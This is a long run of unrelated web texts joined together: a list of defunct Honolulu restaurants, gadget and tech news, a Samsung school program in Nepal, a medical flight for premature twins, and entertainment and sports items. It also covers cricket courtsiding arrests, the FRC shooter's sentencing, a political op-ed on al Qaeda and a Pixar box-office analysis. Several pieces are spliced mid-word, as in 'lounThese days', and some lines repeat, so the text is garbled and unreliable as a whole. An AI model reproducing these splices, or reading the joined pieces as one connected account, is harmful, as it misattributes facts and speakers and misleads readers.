– Ala Moana Renaissance Hotel / AMAZING views overlooking Ala Moana Beach Park, Honolulu and the Leeward Coast sunset, fine dining, extensive wine list / currently vacant Nick’s Fishmarket – Kalakaua Ave, Waikiki / fine dining / currently Bambooz (a lounge bar)
– Kalakaua Ave, Waikiki / fine dining / currently Bambooz (a lounge bar) Ninniku-Ya Garlic Restaurant – Waialae Ave, Kaimuki / house converted to restaurant; steakhouse / currently
– Waialae Ave, Kaimuki / house converted to restaurant; steakhouse / currently 9th Ave Drive-In – 9th and Waialae Avenue, Kaimuki / W&M’s original location was on 9th Avenue in a stand-alone building back in the 50’s (behind where Town is now.) The building with W&M was demolished and before Town on the corner, there was 9th Ave Drive-In, that had a good char siu pork plate (better than Diamond Head Grill) and Pac-Man and Space Invaders video games in the late 70’s. *contributed by khs68
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Q’s Drive-In – N. King Street (near Tamashiro’s), Kalihi / hamburgers, plate lunch, bento
– N. King Street (near Tamashiro’s), Kalihi / hamburgers, plate lunch, bento Queen’s Deli – Alakea and Queen St / sandwiches & pasta dishes
– Alakea and Queen St / sandwiches & pasta dishes Queen’s Surf – a Waikiki legend only your parents or grandparents know about within its hallowed walls / likely those who loved Queens Surf didn’t vote for Frank Fasi
– a Waikiki legend only your parents or grandparents know about within its hallowed walls / likely those who loved Queens Surf didn’t vote for Frank Fasi Quickies – Kailua Shopping Center, Kailua / awesome shoestring fries / currently
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Ranch House Family Restaurant – Kapahulu Ave, above Hee Hing, formerly Sam Choy’s / “homestyle” local and contemporary American fare / currently Tokkuri-Tei
– Kapahulu Ave, above Hee Hing, formerly Sam Choy’s / “homestyle” local and contemporary American fare / currently Tokkuri-Tei Ray’s Seafood – 5th floor of the Waikiki Shopping Plaza / Early 80s era upscale, trendy seafood restaurant/ bar, with excellent “kamikazes” (Ice-cold Stoly, with trace amounts of Rose’s Lime Juice and Triple Sec); popular watering hole among UH students *contributed by leighton and Jay
– 5th floor of the Waikiki Shopping Plaza / Early 80s era upscale, trendy seafood restaurant/ bar, with excellent “kamikazes” (Ice-cold Stoly, with trace amounts of Rose’s Lime Juice and Triple Sec); popular watering hole among UH students Rainbow Garden Teahouse – Kalei Road (off Old Waialae Road where Oasis used to be) just before the freeway on-ramp / Popular traditional Japanese teahouse for celebrations. Opened in 1921 in Moiliili, then relocated after WWII to Kalei Road and closed in 1997 *contributed by khs68
– Kalei Road (off Old Waialae Road where Oasis used to be) just before the freeway on-ramp / Popular traditional Japanese teahouse for celebrations. Opened in 1921 in Moiliili, then relocated after WWII to Kalei Road and closed in 1997 RC Drive-In – Kailua / previously Kailua Drive-In, lounge / currently
– Kailua / previously Kailua Drive-In, lounThese days there's a new rumor or smartwatch announcement every time you fire up the internet. But they're all designed to work alongside a smartphone doing boring things like display caller IDs or rejecting a call. Not the Hoop Tracker. This is the first watch designed to keep track of your prowess at the rim so you can know for sure if your hoop dreams have any chance of coming true. And it doesn't need a smartphone assist.
The Hoop Tracker watch is worn on your non-shooting arm, and it wirelessly connects to an included shot tracker that attaches to the rim of a basketball hoop, without affecting the game in any way. Presumably based on the distance between the watch and the rim, the Hoop Tracker system is able to determine what and where you shot—a free throw, a field goal, or a three pointer—as well as whether or not it hit the rim, the backboard, or went in. The one thing it can't track is when you airball, so a dedicated button on the watch lets you use the honor system and note your complete misses.
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All of your stats can be viewed directly on the Hoop Tracker watch, but the data can also be uploaded to a website which provides far more analysis and detailed views of your skills and your progress.
If you're staring down scholarships and a possible lucrative career playing basketball, the $200 Hoop Tracker—available sometime in early 2014—seems like a great investment as you hone your skills. But if you're just mediocre, $200 sounds like a lot of money to hear what you probably already know: Stay in school and get yourself a good education instead. [Hoop Tracker]Corporate > Citizenship
Set in the Modi Khola Valley at a height of around 1,100 metres in Nepal is a small village called Birethanti. Well-known on the tourist roadmap, it serves as a starting point for trekkers on way to the popular Annapurna Base Camp. The Annapurna Range has three out of the ten highest mountains in the world.
Most tourists drive to Birethanti from Pokhara, Nepal’s tourism capital. It takes around 45 minutes to reach Birethanti by road from Pokhara. The people of Birethanti are friendly and warm. Many villagers have small farms, while others rear cattle.
Birethanti is dotted with small tea shops and souvenir sellers. And then there is the Shree Birethanti Secondary School, home to nearly 230 students, some of whom trek miles through the mountains to attend their class.
It is in this scenic town that Samsung opened its first Smart Class in Nepal. Samsung Smart Class is Samsung’s flagship citizenship initiative, aimed at bridging the digital gap between rural and urban centres.
Samsung Smart Class provides equal opportunities for quality education to children from all backgrounds.
“We want to support Nepali people because it’s a developing country. That’s why we have planned a Samsung Smart Class in Nepal. We plan to take the digital experience to more areas and more people in the future,” said Yubeom Won, Vice President of Samsung Electronics.
Shree Birethanti Secondary School has classes from Nursery to Grade 10th, but most students are in higher grades, as younger kids find it difficult to walk up to the school.
12-year-old Vishal’s first love is painting. He is among the 12 students who make the school’s dream team. The inauguration of the Samsung Smart Class means Vishal is now looking forward to spending more time in the classroom too. The shiny new tablets in the Samsung Smart Class are attracting students like Vishal from the painting class to the Smart Class.
“I like this class very much because other classes have white board and books, but here we have a screen,” Vishal said.
The School’s Painting teacher, Ku Hyun-Kim, says there is a buzz among the students about the Samsung Smart Class.
“Digital is a very high technique and art is a very old technique… The harmony between high technique and old technique is good for our students,” he added.
The inauguration of the Samsung Smart Class was a happy occasion for teachers and parents. Moreover, for many students the advent of digital education meant a sure shot way to fulfill their dreams.
“We are very happy that Samsung Smart Class has come to our school. We are lucky,” said Ranjana Magar, who aspires to become a teacher.
Across the world, Samsung has helped set up nearly 2,500 Samsung Smart Classes, helping nearly 700,000 students such as Vishal and Ranjana achieve their dreams. The Samsung Smart Class at Birethanti in Nepal will help Samsung take its vision of “technology to all” to the people in the Himalayas.Just one day after releasing the final version of Google Chrome for Android, Google announced that it is releasing Google Chrome for iOS on Thursday during the second day of Google I/O. The new version of Chrome will work on both the iPhone and the iPad and will be able to sync bookmarks, open pages and passwords across all iOS devices that have Chrome installed. The browser is designed to work on versions of iOS 4.3 and higher. Google says that the iOS version of Chrome will be rolling out sometime on Thursday on the App Store.
To make things even more interesting, Google is also releasing an iOS version of Google Drive, the cloud storage service that is in direct competition with Apple’s iCloud. Released this past April, Drive gives users 5GB of free storage space and allows them to add more storage space with expansion packages starting at at 25GB for $2.49 per month.Fight through the Emu War of 1932 in an alternate universe where emus have access to miniguns and bombs.
Rewrite history by fighting through the fictional battles based off of the real war (yes, this is a real war).
Experience the war in an FPS parody game!
*NOTE this is the games DEMO not the full version. Please keep this in mind while playing. Also please read the two.txt files included in the game folder.*
My Twitter: www.twitter.com/ImCrawler
My YouTube: https://www.youtube.com/channel/UCJMfCD26IxJI5rEty...
Please contact me if you have any questions or feedback on the game.
Are you a content creator? Please, make a 'let's play' of the demo and send it to me! (Give full credit to me, of course.)
Original Steam Greenlight Concepts text: (http://steamcommunity.com/sharedfiles/filedetails/...)
Live through the epic fights of The Great Emu War! Destroy Emu bunkers, collect their intel, and stop them from raiding Australia's beautiful farms. Be careful though, Emu's are more armed than we are.
This game is going to parody The Great Emu War, a war that Australia's army started when getting complaints of Emu's eating farmers crops and preventing them from planting crops. Of course in the real war, the only reason the Emu's won was because they could outrun the army. In this version, the Emu's have miniguns, bombs, and all this other crazy modern stuff. This is no generic FPS, well it is. But this is... THE GREAT EMU WAR.
*Note that the current form of the game is pre alpha. I am currently working on a prototype which will then be followed by a full make of the game. Any screenshots or videos do not reperesent the games finished state.*
I am currently working on a concept prototype for the game. The prototype does not reperesent the games final state. Obviously, this is just to get my idea out there. I will be changing and improving gameplay as well as improving the games graphics. So when looking at future videos and screenshots or if you will play the prototype, please know that the graphics will suck and the gameplay won't be too great.
Credits:
Developed by Crawler
Powered by Unity, textures from www.CGtextures.com, gun sounds made with iGun (mobile application), models made with Blender, textures edited with GIMP, sound edited with Audacity, all music written/preformed/recorded by Crawler, based on the Great Emu War (war in Australia, 1932), special thanks to Xavi and his Twitch chat.
Additional Info:
This game has been in development since July 2014, and has seen lots of changes which led to an incomplete release. This demo has the potential to be just the start of The Great Emu War game, but user feedback will help decide that.
I am Crawler (as I go by online) I am a student and a self-taught hobbyist game developer. I am very into shooters, war history, and comedy; this is mainly what led me to base a game off of the Emu War. The game's graphics, gameplay, and story have changed a ton over the 8 months it's been in development. I'm not too happy with how it turned out, but hopefully the public will enjoy it more than I did.
Thanks for playing!'Campaigns, the best of them, |
This has allowed Ty to return to his work in the automotive industry and Susan to her position as a Toms River schoolteacher.
Simcha Shain, CEO of Paraflight EMS medical transport service – a veteran Lakewood Hatzolah paramedic and Howell First Aid volunteer – arranged for the Kreans’ transport from Houston, which took place on Tuesday, October 24th. This was no simple journey, yet Simcha provided the coordination and complex, costly medical services for the transport out of pocket, at no cost to the Kreans. (The parents secured funding for the airplane charter, which Simcha arranged at a lower-than-usual cost.) Paraflight’s Chief Medical Officer Dr. Mark Merlin, the prestigious ER chief at Newark Beth Israel, and chief medical officer of MONOC, was particularly instrumental in arranging for the transport, and is now overseeing the twins’ care.
“I first heard about this from Rabbi Aaron Kotler, President of Beth Medrash Govoha, who knew of my background as a Lakewood based Paramedic and of my work arranging medical evacuation flights around the globe,” says Mr. Shain. “The Rabbi called me and asked me to help get these infants home. This touched my soul; I was determined to do everything I can to help, and we thankfully pulled through.”
“I read the most special heartwarming story in the Asbury Park Press about these babies and thought that perhaps we can chip in a bit to help out,” Rabbi Kotler recounts. “I called Shain, who is a neighbor Io I knew ran a first class medical flight based right here in Lakewood.”
Rabbi Kotler reached out to Toms River Jewish Community Council, asking them to help the Kreans raise the needed funds. Although Ty and Susan Krean are not Jewish, the Toms River Orthodox community responded with spirit and heart, helping raising a significant portion of the needed funds for the charter.
According to Rabbi Moshe Rotberg, of the Orthodox affiliated Toms River Learning Center, the moment the call went out to help a neighbor in need the responses started to pour in: “We raised over $4,000 in a matter of hours, just by word of mouth, from hundreds of Orthodox families in Toms River. Helping children in need, of any faith, is the greatest mitzvah, plus this was our way of expressing appreciation to all our Toms River neighbors for their friendliness and warmth.”
The twins were originally supposed to be transported by the Grace on Wings organization, but the organization was unable to arrange the flight, citing the difficulties and potential dangers of transporting twins cross country while providing the highest level of neonatal support. Rabbi Kotler then asked Mr. Shain to figure the difficult logistics out, and Shain stepped in. He found a suitable aircraft that could handle both twins, their mom Susan, a full complement of top medical staff, all necessary equipment and oxygen apparatus, in one nonstop flight from Houston Airport to Teterboro, NJ, airport.
Shain arranged for top notch Paraflight staff – Dr. Josh Schwartzbaum, Emergency Medicine specialist at Newark Beth Israel and flight physician; Neonatologist Dr. Alex Feldman of University Hospital – Newark; and Ann Yaeger, a veteran NICU and PICU nurse at Newark Beth Israel – to come along. Both Dr. Schwartzbaum and Dr. Feldman are Hatzolah members and they have worked many times with Shain on emergency medical matters. Mr. Shain was on the flight as well along with Lakewood’s Yehoshua Lapidus, a volunteer EMT with Lakewood First Aid, who served as logistical coordinator.
In addition to the double patient load, long distance, and large equipment and staffing requirement, the transport was difficult for other reasons as well. There is an FAA regulation that a pilot’s shift can take no longer than 14 hours from initial takeoff preparations until the final landing of the journey. Hence, since the flight crew began preparations at Teterboro at 7:00 am, they needed to be wheels down back home by 9:00 pm, no matter what. The 3:47 hour flight to Houston was extended by a stop in Alabama that was necessary due to stormy weather and 120 knot-per-hour headwinds.
Simcha and the crew had backup plans for a possible landing en route to Teterboro, with a pair of ambulances finalizing the journey to Newark.
However, delay and all, they made it to Teterboro a little early, shortly before 8:00 pm, aided in part by the storm’s tailwinds, which enabled speeds as high as 607 miles per hour. In Houston, two ambulances transported the twins from the hospital to the airport in a time efficient manner.
Wyatt and Holden were given special blankets by the team, each custom embroidered with the baby’s name with the title “Captain.” Dr. Schwartzbaum, a musician, brought his guitar on board and played soothing music during the journey. Upon landing in Teterboro, two Lakewood Hatzolah ambulances were waiting on the tarmac, with Dr. Merlin and Hatzolah members from Lakewood and Toms River, onboard.
Mr. Shain and the rest of the medical transport team accompanied mother and babies to the hospital. He and Mr. Lapidus arrived to Lakewood at midnight. The journey was long and intense, but the fulfillment that Shain and his team felt upon its successful culmination eclipsed all. “We were able to help this special couple from our region, and we join Ty and Susan in praying for continued improvement in Wyatt and Holden’s condition,” Simcha reflects.
For their part, Ty and Susan are beyond grateful for all the warmth and assistance that has been extended to them from so many corners. Donations poured in from throughout the region and beyond on their GoFundMe page and you can still contribute here to help these twins on their path to full recovery (Donate Here). “They made a heartbreaking turn of events turn into one of the best days of our lives,” Ty says. “In particular, I cannot say enough how fast, reliable and caring Sim and his team were. We can never thank everyone involved enough for what they have done.”
More than any religious or cultural differences Ocean County residents may have, Ocean County residents stand strong and united in common humanity and compassion. They are united in their best wishes for the entire Krean family and in seeing these children grow up and bring smiles to their families and friends.
{Matzav.com}The 'Jackass' producer will set his signature hijinks in his own theme park.
Johnny Knoxville is building himself an Action Park, The Hollywood Reporter has confirmed.
The actor is set to star in the comedy from Dickhouse Pictures and Paramount. Knoxville, Billy Gerber and Derek Freda are producing. Production is set begin in March in South Africa.
Action Park imagines what would happen if Knoxville and his cohorts irresponsibly designed and operated their own theme park. Tim Kirkby will direct from a script by Knoxville, John Altshuler and Dave Krinsky.
Knoxville's Dickhouse previously collaborated with Paramount on the Jackass films — most recently, 2013's Jackass Presents: Bad Grandpa, which cost $15 million and grossed $152 million worldwide.
Knoxville is repped by CAA and 3 Arts.
Feb. 1, 7:30 a.m. A previous version of this article incorrectly noted Knoxville's production company. THR regrets the error.(Click to enlarge)
There were so many mind-blowingly illogical quotes in Roberts' McCutcheon v. FEC opinion, it was hard to pick just one for the cartoon. Another classic:
"[Many people] would be delighted to see fewer television commercials touting a candidate’s accomplishments or disparaging an opponent’s character,” he wrote. “Money in politics may at times seem repugnant to some, but so, too, does much of what the First Amendment vigorously protects. If the First Amendment protects flag burning, funeral protests and Nazi parades — despite the profound offense such spectacles cause — it surely protects political campaign speech despite popular opposition."
Way to confuse the content of the political ads, which no one is objecting to on free speech grounds, with how they are funded!
Get a signed print of this cartoon from the artist. You can also follow Jen on Twitter and Facebook.Officials booted out several "betting cheats" from today's opening match of the Cricket World Cup as part of a multi-agency crackdown on corruption.
Stuff.co.nz watched as a group of men was led from the stadium by police at Hagley Oval in Christchurch shortly before the end of the first innings.
They were questioned by detectives in a tent behind the northern stand.
Police tonight confirmed several "betting cheats" were evicted from today's match. An International Cricket Council (ICC) spokesman confirmed at least one man was evicted from the ground for "using his communication devices to provide match information to people outside this country".
Stuff.co.nz has learned of an operation targeting corruption at the match, particularly a type of betting called courtsiding or pitchsiding where a spectator at a sporting event sends immediate information on scores and activities in a game before it is broadcast a short time later.
The instant information provided can allow either a gambler to gain an advantage over a sportsbook, or for a sportsbook to provide more accurate odds on the game in progress.
As part of yesterday's operation, plain-clothed police staff mingled among spectators at the ground looking for excessive use of electronic devices like lap-tops and cellphones.
The group in question were watched covertly for about ten minutes before detectives stepped in and led them away for questioning.
Courtsiding is a criminal offence in parts of Australia and carries a maximum penalty of 10 years in prison.
Whilst not illegal in New Zealand, it is in breach of the terms of entry to matches at the Cricket World Cup.
Earlier this week, ICC boss Dave Richardson said the organisation was as well prepared as it had ever been to deal with corruption within the game.
The Anti Corruption Unit had been working with authorities in New Zealand and Australia for two to three years setting up memorandums of understanding and sharing information, Richardson said.
Yesterday, after Stuff.co.nz learned of the operation at the match, an ICC spokesman said: "We've got systems in place and these systems are working. People involved in illegal activity are being nabbed and chucked out.
"We all know there's a problem and we're dealing with the problem the best we can.
Superintendent Sandra Manderson said police knew how to idenfity people who were courtsiding and those attempting it would be caught.
"We know what to look for.
"We're aware that people are attempting to operate at venues and they will be detected, evicted and trespassed from all venues.
"We will continue to ensure that ICC Cricket World Cup 2015 is a success and an enjoyable and memorable experience for everyone involved."
Manderson previously said a list of banned foreigners had been developed to fight corruption during the tournament.
The list was created by Australian police, the ICC and intelligence sources to stop illegal bookmakers from entering New Zealand and Australia during the six weeks of play.
"Honeytraps" also featured on the list, she said.
They are woman associated with bookies who attempt to lure players into fixing matches.
"Maybe they take photographs of these people... it might just be just in a bar, they might throw their arms around someone, they might appear at their bedroom door. It is happening, it's not something we dream up."
She said those photographs could then be used to blackmail players into corruption.
Some people had already been refused visas to New Zealand, but she could not say how many or what countries they traveled from, Manderson said.
During the Australian Open tennis tournament last year a man was charged with courtside betting. It was alleged he used a hidden device to send live point details from a match to a betting agency.
The charge was later dropped because there was no prospect of a conviction.
Near the end of today's match about a dozen people had been evicted from the stadium for a variety of breaches of the terms of entry.
Two people were arrested for invading the pitch nude, an offence that carries a maximum penalty of three months imprisonment or a $5000 fine.
Manderson said police were impressed with the vast majority of spectators at today's game.Corkins had a backpack, gun, ammunition and 15 Chick-fil-A sandwiches with him. FRC shooter sentenced to 25 years
The man who brought Chick-fil-A sandwiches and a gun to the Family Research Council with the hope of killing as many employees as possible in August 2012 was sentenced to 25 years in prison Thursday after pleading guilty on charges that included a terrorism offense.
The sentencing comes on the first conviction under Washington, D.C.’s 2002 Anti-Terrorism Act, which addresses criminal actions with the intent to “intimidate or coerce a significant portion of the civilian population of the District of Columbia or the United States,” according to the Justice Department.
Story Continued Below
The gunman, Floyd Lee Corkins II, 29, shot a security guard FRC on Aug. 15, 2012, during a struggle when he was trying to enter the Christian conservative group’s headquarters with the intent to kill as many employees as possible, he told officers after the incident. He was targeting FRC because of its views, including its opposition to gay marriage.
Corkins was carrying 15 Chick-fil-A sandwiches that he intended to smear on employees’ faces in a political statement, he told the FBI.
The guard was able to disarm Corkins and hold him until police took him into custody.
He pleaded guilty to the charges in February.
U.S. Attorney Ronald Machen heralded the sentence as sending a strong message on terrorism.
“A security guard’s heroism is the only thing that prevented Floyd Corkins II from carrying out a mass shooting intended to kill as many people as possible,” Machen said in a statement. “Our entire community is thankful to the hero who stood up to this heinous attack. Today’s 25-year prison sentence demonstrates the steep price to be paid for turning to violence to terrorize your political enemies.”
FRC President Tony Perkins said on Thursday afternoon that the sentence Corkins received “sends a message to those activists who would seek to silence those who believe in natural marriage through force, That it’s just not acceptable and will not be tolerated.”
Perkins told “The Mike Huckabee Show” he “felt sorry” for Corkins, calling him “really a pathetic individual in terms of what drove him to do this, he stated very clearly he was making a political statement against our organization because we believe marriage is the union of a man and a woman and because we supported the Chick-fil-A day.”
The FRC, he said, has been “forever changed” because of the incident.
“We see that every time we walk through the door now that we have armed security as a result of this attack,” Perkins told radio host and former Arkansas Gov. Mike Huckabee.
Perkins also added that “we have been and will continue to pray for” Corkins.
“We’re fine, we’re going to go forward, and we pray that he finds the same peace that we have,” Perkins said.
Mackenzie Weinger contributed to this report.Former Arizona Cardinals wide receiver Michael Floyd seems to be taking the high road with fans of his old team who are upset that he won a Super Bowl.
Appearing on ESPN Radio Sunday, Floyd talked about the angry responses he received from some Cardinals fans after winning Super Bowl LI with the New England Patriots.
“Random people just say the most crazy things, probably most of them were Arizona people,” Floyd said. “They just think I’m not sorry for what I did, or I disrespected Arizona. All I can say is I made a mistake. I’m sorry for what I did. I’m moving forward. I think some people didn’t want me to be successful. I think that’s just life. I think there are a lot of people out there that don’t want people to succeed. You just have to make the best of it. For me, I got on a team that loved me and I was actually successful.”
The Cardinals selected Floyd with the 13th pick in the 2012 NFL Draft. On Dec. 12, police arrested Floyd in Scottsdale on suspicion of drunk driving. Two days later, the Cardinals released Floyd, and team president Michael Bidwill said Floyd did not apologize to the organization or show any remorse.
The Patriots claimed Floyd the next day. He caught five passes for 51 yards and one touchdown for New England during the regular season and was inactive for the Super Bowl. Still, he won a ring in the Pats’ 34-28 victory over the Atlanta Falcons.
Some fans reacted with frustration that Floyd won a title after being released for breaking the law, and won one before Larry Fitzgerald. Floyd responded on Twitter a couple of days later.
Damn I just realized ppl are really mad that I got a ring. I thought everyone would be happy for me. Oh well. I'm a champion!! — MichaelFloyd (@MichaelMFloyd) February 7, 2017
On the radio Sunday morning, Floyd reiterated his remorse for falling asleep at the wheel after drinking.
“I made a dumb decision to drive,” Floyd said. “I thought I was OK and I fell asleep and I think the whole world knows what happened after that. It’s a dumb decision by an individual, you learn from it and move on.”While Bitcoin has been relatively more stable than high-frequency-traded US equity markets in the last few weeks, the news that HFT tool provider Perseus Telecom will be accepting Bitcoin for its services. As The FT reports, move highlights high-frequency traders’ increasing interest in trading Bitcoin as global regulators indicate a growing acceptance of fast-emerging digital currencies - despite several high-profile arrests.Perseus CEO, Jock Mr Percy said the extension of high-frequency trading into virtual currencies would change the nature of the Bitcoin market over time.
Via The FT,
A company that develops the tools used by high-frequency traders has become the first market infrastructure provider to accept payment for services in Bitcoins.
...
Perseus Telecom, a US trading technology group, said on Thursday it would accept the controversial digital currency for its services worldwide and process transactions with GoCoin, the payment platform.
...
High-frequency traders use complex algorithms and superfast computers to trade in and out of assets in fractions of seconds. Bitcoin is of interest in part because of its electronic nature and because its high daily volatility potentially offers lucrative returns. Many superfast traders have found profitability tougher in recent years in mature and competitive markets such as equities and foreign exchange.
...
Mr Percy said the extension of high-frequency trading into virtual currencies would change the nature of the Bitcoin market over time. “At the moment, [HFT] is still a small part of the market as there are a lot of retail investors trading Bitcoin. In time the spreads will narrow.”Elsa, Anna, Rapunzel, and Kairi make up four of the new Princesses of Heart. Come theorise who the last three Princesses will be!
Details Published on December 21, 2017 @ 08:46 pm Written by PJ
Last month we reported that Diamond Select Toys was working on a series 2 of its Kingdom Hearts lines, and now we finally have a look at them, their new Vinimates and a potential release date!
Series 2 of the action figures include Twilight Town Roxas, Aqua, Donald, Goofy, Pete, Soldier Heartless, and BBS Knight Goofy.
Series 2 of the Vinimates include Organization XIII Mickey, Pete, and Space Paranoids Sora.
Entertainment Earth, our source for the images, have these toys all tentatively listed for August 2017, however according to Diamond Select the toys are due to be released spring 2018. We will update you with more info as we have it.
Remember to follow Kingdom Hearts Insider on Facebook, Twitter, and Tumblr for the latest updates on Kingdom Hearts Union χ [Cross], Kingdom Hearts 3 and all things Kingdom Hearts!As noted, NXT developmental talent and WWE Tough Enough winner Bronson Matthews got massive heat backstage for posting a tweet last week referring to the Social Outcasts as the "Social Jobbers".
The tweet garnered backlash from Bull Dempsey and Kevin Owens, who also blocked Bronson on Twitter. Stardust stated that Bronson was "banned," not "blocked" and that he should "enjoy dressing in the hall dick." Social Outcast members Heath Slater, Curtis Axel and Adam Rose also took shots at Bronson.
We noted it would be interesting as WWE is in Florida this week. Bronson took to his Twitter today and noted that he learned from "his action" today:
Every action, every defeat, every MISTAKE, contains its own seed, its own lesson on how to improve, grow, and get better. #BIGACTION BIG ACTION (@BronsonWWE) January 27, 2016THE first Star Wars spin-off, Rogue One: A Star Wars Story, is in crisis, and the movie will have to go into expensive reshoots over the summer.
The much-anticipated Rogue One is due for release on Dec. 16, but sources have confirmed to Page Six that bosses at Disney are not fully satisfied with the first cut from director Gareth Edwards.
One Hollywood source told Page Six, “The execs at Disney are not happy with the movie, and Rogue One will have to go back into four weeks of expensive reshoots in July.”
The movie stars Felicity Jones, Mads Mikkelsen, Ben Mendelsohn, Forest Whitaker and Diego Luna. The Star Wars franchise’s first spin-off film will take us back in time to a point between Episodes III and IV. The plot reportedly sees resistance fighters embark on a daring mission to steal the plans for the Death Star before it can be used to enforce the Emperor’s cruel rule.
There has been much speculation that the movie will take a darker turn and Darth Vader will appear as the Emperor’s chief enforcer. It is also believed that a young Han Solo will make a cameo appearance. Page Six exclusively revealed earlier this month that Alden Ehrenreich has landed the coveted part to play the young Solo, a role made famous by Harrison Ford.
It was announced earlier this month that Edwards would not direct Godzilla 2 later this year, and would instead “focus on smaller films.” But the movie insider told Page Six, “Gareth’s work on the first Godzilla [which came out in 2014] shows he can handle a big studio blockbuster. But Rogue One has fallen short of what J.J. Abrams did with Star Wars: Episode VII — The Force Awakens. So Disney has ordered reshoots.”
Edwards is well-known as a risk-taking director, but has also been reported to prefer to keep studio influence at a minimum. The source added, “Disney won’t take a back seat, and is demanding changes, as the movie isn’t testing well.”
Reps for Edwards didn’t get back to Page Six.
A Disney source added, “The filmmaking team and the studio always anticipated additional shooting and second unit work to make the film the absolute best it can be, and the actors were aware there would be additional shooting. Coming off The Force Awakens, there’s an incredibly high bar for this movie and we have a responsibility to the franchise and to the fans to deliver the best possible movie we can.”
This article originally appeared in the New York Post and is republished here with permission.Montreal Canadiens owner Geoff Molson reportedly intervened in the P.K. Subban contract negotiations.
Molson overruled general manager Marc Bergevin and made the decision to sign the defenseman to a long-term deal, Jack Todd of the Montreal Gazette reports.
The Canadiens signed Subban to an eight-year, $72-million contract earlier this month, avoiding arbitration and the possibility of a one-year deal.
From the report:
A highly place source has confirmed our theory that it was indeed Molson who overruled GM Marc Bergevin, when it appeared that the club might be saddled with a single-year arbitration contract and a disgruntled star. It was Molson’s call to sign P.K. long-term and it was exactly right.
Subban's cap hit will be the highest in the league for a defenseman in 2014-15, according to CapGeek.
The 25-year-old registered a career-high 53 regular-season points this season, adding 14 points in 17 playoff games.When he campaigned for re-election two years ago, President Obama repeatedly reassured us al Qaeda had been “decimated” and “is on the path to defeat” — even after the attack in Benghazi that killed four Americans, including the US ambassador.
But we’ve just had two new reports demonstrating that not only has al Qaeda not been defeated, it’s stronger than ever.
The first, from The New York Times, reports that European governments have paid al Qaeda and its affiliates at least $125 million since 2008. The money was funneled through proxies or disguised as humanitarian aid, and it was used to ransom kidnapped citizens from terrorists.
The Times goes on to say that $66 million of this came in the last year alone. It quotes one al Qaeda leader describing the dirty business this way: “Kidnapping hostages is an easy spoil, which I may describe as a profitable trade and precious stream.”
A US Treasury official adds that ransom payments have now become “the most significant source” for terrorists. In other words, European governments are funding al Qaeda terror.
Meanwhile, the outgoing head of our Defense Intelligence Agency, Lt. Gen. Michael Flynn, basically confirmed to a forum in Aspen that President Obama’s constant talk about “core al Qaeda” is a distinction that has more to do with political convenience than terrorist reality.
“We throw this phrase ‘core al Qaeda’ out,” said Lt. Gen. Flynn, “but rather than people, ‘core al Qaeda’ is an ideology... The core is the core belief that these individuals have — and it’s not on the run.”
To the contrary, it’s exponentially growing, from the Islamic State of Iraq and Syria, which has declared a caliphate in northern Iraq and parts of Syria, to Boko Haram in Nigeria, which still holds hundreds of those kidnapped girls, to the al Qaeda-linked outfits fighting in Syria’s bloody civil war.
George W. Bush’s critics excoriated him for declaring a “War on Terror” they said was far too broad and took our eyes off the real threats, what they called core al Qaeda. Sadly, Gen. Flynn’s comments about the growth of its affiliates — and the increasing ransoms paid out by European governments — say otherwise.
By combating an organization instead of the ideology that motivates it, the United States has only strengthened both. The message for President Obama? He’s never going to defeat the enemy so long as he and his administration refuse to acknowledge its true nature.Inside Out didn’t open at number one at the box office in its debut weekend (despite leading on Friday), as Jurassic World surpassed it to take the top spot for a second straight week. But Pete Docter’s third film for Pixar earned perhaps a more important distinction: with an estimated $91 million, it’s the highest-grossing opening weekend for an original film—not a sequel or a film based on an existing property—ever. Considering it’s only the 41st-best opening weekend gross, that means the 40 best weekend performances ever are all sequels or films based on an existing idea. Despite that somewhat disheartening stat, it's an incredible achievement for Docter and Pixar; proof that there's still room for ingenuity in a landscape of money-printing nostalgia.
That success also brings with it a lingering question that's simple to pose but difficult to answer. Just as the release of Jurassic World inspired film critics to rank their Top 10 Steven Spielberg films, Inside Out prompted armchair AFI's everywhere to re-rank their Pixar films. And most of those lists tend to underrate one particular filmmaker. Of the core Pixar directors, those behind more than one film for the studio at this point—including John Lasseter, Andrew Stanton, and hired-gun-turned-regular-contributor Brad Bird—is the best and most reliable of them actually Inside Out's Pete Docter?
We decided to dig in to find out for sure. For each of the four directors, we took the worldwide box office numbers for each of their Pixar projects, as well as the data from Rotten Tomatoes and Metacritic.
WIRED (click to enlarge)
The Box Office
Based on current numbers, the average Pixar film rakes in about $600 million worldwide at the box office. But as the data shows, purely on average box office performance, Docter is the only director with multiple credits at Pixar to beat that average. If Inside Out performs as well as Big Hero 6 did for Disney last fall ($652 million), that puts it squarely at the average of Docter’s two previous films, and given Inside Out just beat BH6’s opening weekend by $40 million—and has three whole summer weeks before Minions cuts into its business to draw the PG animated family film audience—that’s a reasonable goal to reach.
Box office receipts aren’t an indicator of a film’s artistic success, or even that a film resonated with audiences enough to be revered years down the line. But they are helpful in determining how reliable a director is at taking a $150 million budget and delivering a film that will earn back a significant return on investment. Pixar hasn’t had any problems making back budgets with any of its films, but Docter is still, empirically, the safest bet. And that’s unexpected at the least.
The Critics
Granted, it's reductive to boil the nuances of a film review down to a numerical value. But with ultra-wide releases like Pixar movies, there are hundreds of reviews counted on sites on Rotten Tomatoes and Metacritic that give a comprehensive overview of how a film was received by U.S. critics.
And once again, Docter comes out on top. Lasseter has rare perfect 100% scores for the first two Toy Story films, but he’s also got the only "rotten" Pixar film ever (Cars 2) on his resume. Meanwhile, Docter just recorded a third straight film to earn stellar reviews. And for the first time, he broke through to the 90s on Metacritic, upping his average and increasing his lead. To be fair, we’re splitting hairs here—all four directors have ludicrously positive averages.
The one thing that sticks out here is that Docter has only directed three films, compared to at least four for each of the other three (for Bird and Stanton, this means including their non-Pixar films like Iron Giant or John Carter). Lasseter, Stanton, and Bird all reached the same point Docter did with sterling critical records. This pattern suggests that perhaps, after a few consecutive critical successes and box-office hits, the reins are loosened to the point where these directors get over-indulgent and experience creative failure for the first time. This predicts that Docter’s next film may be a regression. But until then, he’s not only the most financially successful director for the studio, but the most critically lauded as well. That’s like Metacritic giving best band of the decade honors to Spoon—a completely reliable artist who delivers time and time again, but doesn’t ever quite top the list in a given year.
The Films
This is undoubtedly a more subjective comparison—especially when my three favorite Pixar films were directed by Stanton (WALL-E), Bird (Ratatouille), and Lasseter (Toy Story 2). I can’t really put my finger on why this question of Docter’s underrated supremacy amongst elite company nagged at my brain like a Tripledent Gum ad. But the more I thought about it, the more I realized that his work exhibits a rare thematic harmony.
